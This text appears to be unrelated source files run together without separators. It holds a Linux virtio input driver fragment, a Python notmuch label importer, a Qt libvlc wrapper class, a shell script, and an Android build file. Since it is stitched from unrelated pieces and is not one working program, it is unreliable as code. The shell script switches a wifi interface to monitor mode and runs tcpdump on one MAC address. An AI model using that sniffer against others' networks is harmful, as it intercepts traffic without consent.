virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_SW,
vi->idev->swbit, SW_CNT);
/* kernel -> device */
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_LED,
vi->idev->ledbit, LED_CNT);
virtinput_cfg_bits(vi, VIRTIO_INPUT_CFG_EV_BITS, EV_SND,
vi->idev->sndbit, SND_CNT);
if (test_bit(EV_ABS, vi->idev->evbit)) {
for (abs = 0; abs < ABS_CNT; abs++) {
if (!test_bit(abs, vi->idev->absbit))
continue;
virtinput_cfg_abs(vi, abs);
}
if (test_bit(ABS_MT_SLOT, vi->idev->absbit)) {
nslots = input_abs_get_max(vi->idev, ABS_MT_SLOT) + 1;
err = input_mt_init_slots(vi->idev, nslots, 0);
if (err)
goto err_mt_init_slots;
}
}
virtio_device_ready(vdev);
vi->ready = true;
err = input_register_device(vi->idev);
if (err)
goto err_input_register;
virtinput_fill_evt(vi);
return 0;
err_input_register:
spin_lock_irqsave(&vi->lock, flags);
vi->ready = false;
spin_unlock_irqrestore(&vi->lock, flags);
err_mt_init_slots:
input_free_device(vi->idev);
err_input_alloc:
vdev->config->del_vqs(vdev);
err_init_vq:
kfree(vi);
return err;
}
static void virtinput_remove(struct virtio_device *vdev)
{
struct virtio_input *vi = vdev->priv;
void *buf;
unsigned long flags;
spin_lock_irqsave(&vi->lock, flags);
vi->ready = false;
spin_unlock_irqrestore(&vi->lock, flags);
input_unregister_device(vi->idev);
virtio_reset_device(vdev);
while ((buf = virtqueue_detach_unused_buf(vi->sts)) != NULL)
kfree(buf);
vdev->config->del_vqs(vdev);
kfree(vi);
}
#ifdef CONFIG_PM_SLEEP
static int virtinput_freeze(struct virtio_device *vdev)
{
struct virtio_input *vi = vdev->priv;
unsigned long flags;
spin_lock_irqsave(&vi->lock, flags);
vi->ready = false;
spin_unlock_irqrestore(&vi->lock, flags);
vdev->config->del_vqs(vdev);
return 0;
}
static int virtinput_restore(struct virtio_device *vdev)
{
struct virtio_input *vi = vdev->priv;
int err;
err = virtinput_init_vqs(vi);
if (err)
return err;
virtio_device_ready(vdev);
vi->ready = true;
virtinput_fill_evt(vi);
return 0;
}
#endif
static unsigned int features[] = {
/* none */
};
static const struct virtio_device_id id_table[] = {
{ VIRTIO_ID_INPUT, VIRTIO_DEV_ANY_ID },
{ 0 },
};
static struct virtio_driver virtio_input_driver = {
.driver.name = KBUILD_MODNAME,
.feature_table = features,
.feature_table_size = ARRAY_SIZE(features),
.id_table = id_table,
.probe = virtinput_probe,
.remove = virtinput_remove,
#ifdef CONFIG_PM_SLEEP
.freeze = virtinput_freeze,
.restore = virtinput_restore,
#endif
};
module_virtio_driver(virtio_input_driver);
MODULE_DEVICE_TABLE(virtio, id_table);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Virtio input device driver");
MODULE_AUTHOR("Gerd Hoffmann <kraxel@redhat.com>");
#!/usr/bin/env python2
# (C) Copyright 2013 Jason A. Donenfeld <Jason@zx2c4.com>. All Rights Reserved.
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
import os.path
import os
import json
import notmuch
import sys
from progressbar import *
def main():
try:
database = notmuch.Database(None, False, notmuch.Database.MODE.READ_WRITE)
except notmuch.NotmuchError as e:
print(str(e))
return
if database.needs_upgrade():
database.upgrade()
destination = database.get_path()
print("Counting emails...")
total = 0
for root, dirs, files in os.walk(destination):
for name in files:
filename = os.path.join(root, name)
base, ext = os.path.splitext(filename)
if ext != ".eml":
continue
metafile = base + ".meta"
if not os.path.exists(metafile):
continue
total += 1
progress = create_progressbar("Scanning messages", total)
progress.start()
i = 0
for root, dirs, files in os.walk(destination):
for name in files:
filename = os.path.join(root, name)
base, ext = os.path.splitext(filename)
if ext != ".eml":
continue
metafile = base + ".meta"
if not os.path.exists(metafile):
continue
metafile = open(metafile, "r")
metadata = json.load(metafile)
metafile.close()
process_message(database, filename, metadata)
i += 1
try:
progress.update(i)
except:
pass #Files were added since we started counting
progress.finish()
database.close()
def process_message(database, filename, metadata):
labels = filter_labels(metadata["labels"] + metadata["flags"])
message = database.find_message_by_filename(filename)
if message is not None:
if set(labels) == set(message.get_tags()):
return
database.begin_atomic()
else:
database.begin_atomic()
message, status = database.add_message(filename, False)
tag_message(message, labels)
database.end_atomic()
def tag_message(message, labels):
message.freeze()
message.remove_all_tags(False)
for tag in labels:
message.add_tag(tag, False)
message.thaw()
def filter_labels(labels):
translation = { "\\Inbox": "inbox",
"\\Drafts": "draft",
"\\Sent": "sent",
"\\Spam": "spam",
"\\Starred": "flagged",
"\\Trash": "deleted",
"\\Answered": "replied",
"\\Flagged": "flagged",
"\\Draft": "draft",
"\\Deleted": "deleted",
"\\Seen": "!read!",
"\\Important": None, # I realize this is controversial, but I hate the priority inbox.
"\\Muted": None, # I also don't intend to use the muted idea going forward.
"Junk": "spam",
"NonJunk": None }
ret = set()
for label in labels:
if label in translation:
if translation[label] is None:
continue
ret.add(translation[label])
else:
ret.add(label)
if "!read!" in ret:
ret.remove("!read!")
else:
ret.add("unread")
if "" in ret:
ret.remove("")
return ret
def create_progressbar(text, total):
return ProgressBar(maxval=total, widgets=[text + ": ", SimpleProgress(), Bar(), Percentage(), " ", ETA(), " ", FileTransferSpeed(unit="emails")])
if __name__ == '__main__':
try:
main()
except KeyboardInterrupt:
print("")
sys.exit(1)
#include "VLCLoader.h"
#include <QDebug>
VLCLoader *VLCLoader::s_instance = 0;
VLCLoader::VLCLoader()
{
m_instance = 0;
m_exception = new libvlc_exception_t();
const char * const vlc_args[] = {
"-I", "dummy",
"--ignore-config",
"--reset-plugins-cache",
"--no-media-library",
"--no-one-instance",
"--no-osd",
"--no-stats",
"--no-video-title-show"
};
libvlc_exception_init(m_exception);
m_instance = libvlc_new(sizeof(vlc_args) / sizeof(vlc_args[0]), vlc_args, m_exception);
checkError();
}
VLCLoader::~VLCLoader()
{
libvlc_release(m_instance);
checkError();
delete m_exception;
}
bool VLCLoader::checkError() const
{
if (libvlc_exception_raised(m_exception)) {
const char* error = libvlc_exception_get_message(m_exception);
if (error)
m_lastError = error;
else
m_lastError = QString();
libvlc_exception_clear(m_exception);
qDebug() << m_lastError;
return false;
} else {
m_lastError = QString();
}
return true;
}
QString VLCLoader::lastError() const
{
return m_lastError;
}
VLCLoader* VLCLoader::instance()
{
if (!s_instance) {
s_instance = new VLCLoader();
if (!s_instance->lastError().isEmpty()) {
delete s_instance;
s_instance = 0;
}
}
return s_instance;
}
libvlc_instance_t* VLCLoader::vlc()
{
return m_instance;
}
libvlc_exception_t* VLCLoader::exception()
{
return m_exception;
}
bool VLCLoader::toggleMute()
{
libvlc_audio_toggle_mute(m_instance, m_exception);
return checkError();
}
bool VLCLoader::setMute(bool muted)
{
libvlc_audio_set_mute(m_instance, muted, m_exception);
return checkError();
}
bool VLCLoader::setVolume(int volume)
{
libvlc_audio_set_volume(m_instance, volume, m_exception);
return checkError();
}
bool VLCLoader::isMuted() const
{
bool retVal = libvlc_audio_get_mute(m_instance, m_exception) == 1;
return checkError() && retVal;
}
int VLCLoader::volume() const
{
int retVal = libvlc_audio_get_volume(m_instance, m_exception);
if (checkError())
return retVal;
return -1;
}
#!/bin/sh
# XXX take a look at wifizoo
IFACE=${IFACE:-wlan1}
if [ $# -lt 2 ]; then
echo "usage: $0 mac chan [iface]"
exit 1
fi
MAC=$1
CHAN=$2
sudo iwconfig $IFACE mode Monitor
sudo iwconfig $IFACE channel $CHAN
sudo tcpdump -ni $IFACE ether $MAC
# sniff(iface="wlan0", prn=lambda x: x.show())
APP_ABI := armeabi-v7a arm64-v8a x86 x86_64
APP_CPPFLAGS := -std=c++17 -fno-exceptions -fno-rtti -fvisibility=hidden -fvisibility-inlines-hidden
APP_STL := none
APP_PLATFORM := android-21
.
© Copyright 1996 - 2021 Jason A. Donenfeld. All Rights Reserved.